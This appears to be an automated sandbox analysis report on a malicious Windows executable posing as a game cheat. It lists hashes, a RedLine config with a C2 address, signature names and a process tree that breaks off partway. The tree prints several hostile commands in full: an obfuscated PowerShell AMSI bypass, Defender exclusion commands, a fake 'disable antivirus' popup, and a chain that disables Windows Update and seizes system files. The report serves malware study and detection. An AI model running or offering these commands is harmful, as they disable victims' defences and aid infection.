Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-11-2024 11:06

General

  • Target

    1db3a38e9cff8b2aec7b73668e6768002c2bddbf.exe

  • Size

    7.3MB

  • MD5

    06293c3726a8b6029225668dcfb8c7e8

  • SHA1

    1db3a38e9cff8b2aec7b73668e6768002c2bddbf

  • SHA256

    ac1eeee1f7d6e49d7dbc8b82f31844664089ddac969ab92fb8c3a98272ef7a5c

  • SHA512

    33a80c1dec409c83d82cb9e1149a90ca11024d726b58b83035ab149b22989c4406cacab57adf6da5ce0d49cb393d4c2fcf58cd2491d0b0c0c5382e06bc35f376

  • SSDEEP

    196608:68waBBQvE8waBBQv36od0Ntiq0rG6MvF:68waB+88waB+/jwtivrr

Malware Config

Extracted

Family

redline

Botnet

Lucifer

C2

162.55.169.73:49194

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • Dcrat family
  • Disables service(s) 3 TTPs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 2 IoCs
  • Redline family
  • SectopRAT

    SectopRAT is a remote access trojan first seen in November 2019.

  • SectopRAT payload 2 IoCs
  • Sectoprat family
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 4 IoCs
  • Possible privilege escalation attempt 8 IoCs
  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 7 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Power Settings 1 TTPs 20 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 11 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Windows directory 8 IoCs
  • Launches sc.exe 60 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:616
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:316
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{5ea441e2-6fb5-4e6a-9501-c34b8879db7e}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4668
    • C:\Windows\system32\lsass.exe
      C:\Windows\system32\lsass.exe
      1⤵
        PID:680
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
        1⤵
          PID:964
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
          1⤵
            PID:428
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
            1⤵
              PID:1032
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
              1⤵
                PID:1120
                • C:\Windows\system32\taskhostw.exe
                  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                  2⤵
                    PID:2724
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
                    C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:vVkefQIUvQwC{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$AAQFOfJxLMpQUK,[Parameter(Position=1)][Type]$iCwjxecoMc)$jOfnizMJkQb=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$jOfnizMJkQb.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$AAQFOfJxLMpQUK).SetImplementationFlags('Runtime,Managed');$jOfnizMJkQb.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$iCwjxecoMc,$AAQFOfJxLMpQUK).SetImplementationFlags('Runtime,Managed');Write-Output $jOfnizMJkQb.CreateType();}$RWdfJfqcSOqwl=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$XtOHrAsMhQVPCC=$RWdfJfqcSOqwl.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$RxQMonzJTZYvuAJuZlf=vVkefQIUvQwC @([String])([IntPtr]);$lIVeqidCFnkSzDFvrGZuwQ=vVkefQIUvQwC @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$jhOyDvGUFNp=$RWdfJfqcSOqwl.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$GIrXKKDTouyojI=$XtOHrAsMhQVPCC.Invoke($Null,@([Object]$jhOyDvGUFNp,[Object]('Load'+'LibraryA')));$KLaxLqgQheshZqDrx=$XtOHrAsMhQVPCC.Invoke($Null,@([Object]$jhOyDvGUFNp,[Object]('Vir'+'tual'+'Pro'+'tect')));$ldVmiTg=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GIrXKKDTouyojI,$RxQMonzJTZYvuAJuZlf).Invoke('a'+'m'+'si.dll');$atXGZzrVcbonKTxog=$XtOHrAsMhQVPCC.Invoke($Null,@([Object]$ldVmiTg,[Object]('Ams'+'iSc'+'an'+'Buffer')));$hZEDmUcvGq=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($KLaxLqgQheshZqDrx,$lIVeqidCFnkSzDFvrGZuwQ).Invoke($atXGZzrVcbonKTxog,[uint32]8,4,[ref]$hZEDmUcvGq);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$atXGZzrVcbonKTxog,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($KLaxLqgQheshZqDrx,$lIVeqidCFnkSzDFvrGZuwQ).Invoke($atXGZzrVcbonKTxog,[uint32]8,0x20,[ref]$hZEDmUcvGq);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"
                    2⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Drops file in System32 directory
                    • System Location Discovery: System Language Discovery
                    • Modifies data under HKEY_USERS
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3084
                    • C:\Windows\System32\Conhost.exe
                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      3⤵
                        PID:3504
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:YeocFvTjtgid{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$vzvlvLjQKVLmCw,[Parameter(Position=1)][Type]$LgmylDxtgV)$hUjRxOTTbMc=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$hUjRxOTTbMc.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$vzvlvLjQKVLmCw).SetImplementationFlags('Runtime,Managed');$hUjRxOTTbMc.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$LgmylDxtgV,$vzvlvLjQKVLmCw).SetImplementationFlags('Runtime,Managed');Write-Output $hUjRxOTTbMc.CreateType();}$zgsSIaYIUXdHV=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$ghIXlKeIEmhFWZ=$zgsSIaYIUXdHV.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$PFuejJVpaSVwPFaeurN=YeocFvTjtgid @([String])([IntPtr]);$GMAvUbPAXGggWCCVDeoDuq=YeocFvTjtgid @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$HVecakmUUWL=$zgsSIaYIUXdHV.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$kizSwqqfCWLZrt=$ghIXlKeIEmhFWZ.Invoke($Null,@([Object]$HVecakmUUWL,[Object]('Load'+'LibraryA')));$QRZIjIYJmupCrAEym=$ghIXlKeIEmhFWZ.Invoke($Null,@([Object]$HVecakmUUWL,[Object]('Vir'+'tual'+'Pro'+'tect')));$VSOiJlE=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kizSwqqfCWLZrt,$PFuejJVpaSVwPFaeurN).Invoke('a'+'m'+'si.dll');$hAQzEHSkdjoheqKbZ=$ghIXlKeIEmhFWZ.Invoke($Null,@([Object]$VSOiJlE,[Object]('Ams'+'iSc'+'an'+'Buffer')));$wBHwWyrcrB=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QRZIjIYJmupCrAEym,$GMAvUbPAXGggWCCVDeoDuq).Invoke($hAQzEHSkdjoheqKbZ,[uint32]8,4,[ref]$wBHwWyrcrB);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$hAQzEHSkdjoheqKbZ,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QRZIjIYJmupCrAEym,$GMAvUbPAXGggWCCVDeoDuq).Invoke($hAQzEHSkdjoheqKbZ,[uint32]8,0x20,[ref]$wBHwWyrcrB);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"
                      2⤵
                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                      • Command and Scripting Interpreter: PowerShell
                      • Drops file in System32 directory
                      • Suspicious use of SetThreadContext
                      • Modifies data under HKEY_USERS
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2500
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                    1⤵
                      PID:1128
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                      1⤵
                        PID:1148
                      • C:\Windows\System32\svchost.exe
                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                        1⤵
                          PID:1168
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                          1⤵
                            PID:1300
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                            1⤵
                              PID:1312
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                              1⤵
                                PID:1336
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                1⤵
                                  PID:1392
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                  1⤵
                                    PID:1440
                                    • C:\Windows\system32\sihost.exe
                                      sihost.exe
                                      2⤵
                                        PID:2296
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                      1⤵
                                        PID:1572
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                        1⤵
                                          PID:1580
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                          1⤵
                                            PID:1596
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                            1⤵
                                              PID:1708
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                              1⤵
                                                PID:1744
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                                1⤵
                                                  PID:1796
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:1812
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                    1⤵
                                                      PID:2020
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                      1⤵
                                                        PID:2040
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                        1⤵
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:1236
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                        1⤵
                                                          PID:1404
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                          1⤵
                                                            PID:1924
                                                          • C:\Windows\System32\spoolsv.exe
                                                            C:\Windows\System32\spoolsv.exe
                                                            1⤵
                                                              PID:2116
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                              1⤵
                                                                PID:2232
                                                              • C:\Windows\System32\svchost.exe
                                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                1⤵
                                                                  PID:2428
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                  1⤵
                                                                    PID:2472
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                    1⤵
                                                                      PID:2480
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                      1⤵
                                                                      • Drops file in System32 directory
                                                                      PID:2544
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                      1⤵
                                                                        PID:2560
                                                                      • C:\Windows\sysmon.exe
                                                                        C:\Windows\sysmon.exe
                                                                        1⤵
                                                                          PID:2644
                                                                        • C:\Windows\System32\svchost.exe
                                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                          1⤵
                                                                            PID:2684
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                            1⤵
                                                                              PID:2692
                                                                            • C:\Windows\system32\wbem\unsecapp.exe
                                                                              C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                              1⤵
                                                                                PID:2956
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                                1⤵
                                                                                  PID:2708
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                                  1⤵
                                                                                    PID:3160
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                    1⤵
                                                                                      PID:3400
                                                                                    • C:\Windows\Explorer.EXE
                                                                                      C:\Windows\Explorer.EXE
                                                                                      1⤵
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      • Suspicious use of UnmapMainImage
                                                                                      PID:3432
                                                                                      • C:\Users\Admin\AppData\Local\Temp\1db3a38e9cff8b2aec7b73668e6768002c2bddbf.exe
                                                                                        "C:\Users\Admin\AppData\Local\Temp\1db3a38e9cff8b2aec7b73668e6768002c2bddbf.exe"
                                                                                        2⤵
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:1892
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          cmd /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms;[System.Windows.Forms.MessageBox]::Show('Error #103 Cheat cannot start properly because antivirus is not disabled. Please disable antivirus and re-download the cheat.','Error','OK','Error')"
                                                                                          3⤵
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:760
                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                            powershell -Command "Add-Type -AssemblyName System.Windows.Forms;[System.Windows.Forms.MessageBox]::Show('Error #103 Cheat cannot start properly because antivirus is not disabled. Please disable antivirus and re-download the cheat.','Error','OK','Error')"
                                                                                            4⤵
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • System Location Discovery: System Language Discovery
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:1180
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          cmd /c powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
                                                                                          3⤵
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:3508
                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                            powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
                                                                                            4⤵
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • System Location Discovery: System Language Discovery
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:2284
                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                            powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
                                                                                            4⤵
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • System Location Discovery: System Language Discovery
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:1620
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          cmd /c start C:\Users\Admin\AppData\Local\Temp\svchost.exe
                                                                                          3⤵
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:4908
                                                                                          • C:\Users\Admin\AppData\Local\Temp\svchost.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\svchost.exe
                                                                                            4⤵
                                                                                            • Executes dropped EXE
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:1640
                                                                                            • C:\Windows\System32\conhost.exe
                                                                                              "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
                                                                                              5⤵
                                                                                              • Drops file in Drivers directory
                                                                                              • Suspicious use of SetThreadContext
                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:4340
                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAGUAcwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHkAcAB5ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHoAbwB1AHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbABxACMAPgA="
                                                                                                6⤵
                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                PID:3596
                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                  powershell -EncodedCommand "PAAjAGUAcwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHkAcAB5ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHoAbwB1AHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbABxACMAPgA="
                                                                                                  7⤵
                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:1352
                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" cmd /c sc stop wuauserv & sc stop bits & sc stop dosvc & sc stop UsoSvc & sc stop WaaSMedicSvc & sc config wuauserv start= disabled & sc failure wuauserv reset= 0 actions= "" & sc config bits start= disabled & sc failure bits reset= 0 actions= "" & sc config dosvc start= disabled & sc failure dosvc reset= 0 actions= "" & sc config UsoSvc start= disabled & sc failure UsoSvc reset= 0 actions= "" & sc config wuauserv start= disabled & sc failure wuauserv reset= 0 actions= "" & takeown /f C:\\Windows\\System32\\WaaSMedicSvc.dll & icacls C:\\Windows\\System32\\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename C:\\Windows\\System32\\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f & reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sih" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sihboot" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantWakeupRun" /DISABLE
                                                                                                6⤵
                                                                                                  PID:220
                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                    sc stop wuauserv
                                                                                                    7⤵
                                                                                                    • Launches sc.exe
                                                                                                    PID:920
                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                    sc stop bits
                                                                                                    7⤵
                                                                                                    • Launches sc.exe
                                                                                                    PID:216
                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                    sc stop dosvc
                                                                                                    7⤵
                                                                                                    • Launches sc.exe
                                                                                                    PID:2536
                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                    sc stop UsoSvc
                                                                                                    7⤵
                                                                                                    • Launches sc.exe
                                                                                                    PID:4608
                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                    sc stop WaaSMedicSvc
                                                                                                    7⤵
                                                                                                    • Launches sc.exe
                                                                                                    PID:3392
                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                    sc config wuauserv start= disabled
                                                                                                    7⤵
                                                                                                    • Launches sc.exe
                                                                                                    PID:2608
                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                    sc failure wuauserv reset= 0 actions= ""
                                                                                                    7⤵
                                                                                                    • Launches sc.exe
                                                                                                    PID:1736
                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                    sc config bits start= disabled
                                                                                                    7⤵
                                                                                                    • Launches sc.exe
                                                                                                    PID:4780
                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                    sc failure bits reset= 0 actions= ""
                                                                                                    7⤵
                                                                                                    • Launches sc.exe
                                                                                                    PID:1164
                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                    sc config dosvc start= disabled
                                                                                                    7⤵
                                                                                                    • Launches sc.exe
                                                                                                    PID:3508
                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                    sc failure dosvc reset= 0 actions= ""
                                                                                                    7⤵
                                                                                                    • Launches sc.exe
                                                                                                    PID:2440
                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                    sc config UsoSvc start= disabled
                                                                                                    7⤵
                                                                                                    • Launches sc.exe
                                                                                                    PID:4520
                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                    sc failure UsoSvc reset= 0 actions= ""
                                                                                                    7⤵
                                                                                                    • Launches sc.exe
                                                                                                    PID:4172
                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                    sc config wuauserv start= disabled
                                                                                                    7⤵
                                                                                                    • Launches sc.exe
                                                                                                    PID:5044
                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                    sc failure wuauserv reset= 0 actions= ""
                                                                                                    7⤵
                                                                                                    • Launches sc.exe
                                                                                                    PID:1280
                                                                                                  • C:\Windows\system32\takeown.exe
                                                                                                    takeown /f C:\\Windows\\System32\\WaaSMedicSvc.dll
                                                                                                    7⤵
                                                                                                    • Possible privilege escalation attempt
                                                                                                    • Modifies file permissions
                                                                                                    PID:5088
                                                                                                  • C:\Windows\system32\icacls.exe
                                                                                                    icacls C:\\Windows\\System32\\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
                                                                                                    7⤵
                                                                                                    • Possible privilege escalation attempt
                                                                                                    • Modifies file permissions
                                                                                                    PID:3284
                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                    reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
                                                                                                    7⤵
                                                                                                      PID:3152
                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                      reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
                                                                                                      7⤵
                                                                                                        PID:2884
                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                        reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AUOptions /d 2 /t REG_DWORD /f
                                                                                                        7⤵
                                                                                                          PID:4840
                                                                                                        • C:\Windows\system32\reg.exe
